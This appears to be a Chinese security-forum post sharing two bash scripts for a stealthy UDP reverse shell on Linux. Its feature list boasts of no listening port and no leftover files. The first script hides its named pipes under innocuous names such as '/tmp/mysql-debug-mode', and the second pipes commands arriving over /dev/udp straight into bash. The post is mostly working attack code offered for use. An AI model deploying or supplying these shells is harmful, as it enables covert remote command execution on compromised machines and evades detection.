- A+
所属分类:WooYun-Zone
原文:Linux UDP反弹shell脚本,无端口,无残留文件,妈妈说标题要长才有人看,没人点赞的话不许回家吃饭 (标题太长,忍不住删了几个字)
* 无端口
* 成功启动后无残余文件
* 一般情况下没有UDP单包512字节的问题。当然你要是执行奇葩的命令我也没办法
* 非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反正可以执行命令了,自己另外反弹一个可交互的shell就是了
* 由于某些bash特性和某些我不能忍受的功能,某些子进程会在链接断开或者输入exit指令一段时间之后才会自动退出
图就不贴了,大家自己玩
#!/bin/bash REVIP=127.0.0.1 REVPORT=8080 PIPE=/tmp/mysql-debug-mode PIPE2=/tmp/syslog TIMEOUT=20 rm -rf $PIPE mknod $PIPE p rm -rf $PIPE2 mknod $PIPE2 p function KeepAlive(){ rm -rf $PIPE rm -rf $PIPE2 while [ 1 == 1 ] do sleep $TIMEOUT echo Connection: keep-alive or die done } function DoRealShell(){ KeepAlive & PIDALIVE=$! while read line do if [ "$line" == "exit" ] then kill $PIDALIVE kill $PIDCONN kill $$ exit fi echo executing command: $line eval $line done kill $PIDALIVE kill $PIDCONN kill $$ exit } function Shell(){ LENGTH=0 DoRealShell | while read line do echo $line done } function StartShell(){ Shell >$PIPE2 2>&1 <$PIPE } function MakeConn(){ echo Welcome back cat $PIPE2 & cat - >$PIPE & } MakeConn </dev/udp/$REVIP/$REVPORT 2>&0 1>&0 PIDCONN=$! StartShell rm -rf $PIPE rm -rf $PIPE2
又研究了一下,其实根本没有那么复杂,而且完美解决退出和多行的问题,上个帖子你们就忽略吧 ‘
#!/bin/bash exec 3>/dev/udp/127.0.0.1/8080 exec 2>&3 exec 1>&3 echo Welcom back cat 0<&3 | bash | while read line;do echo $line;done
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫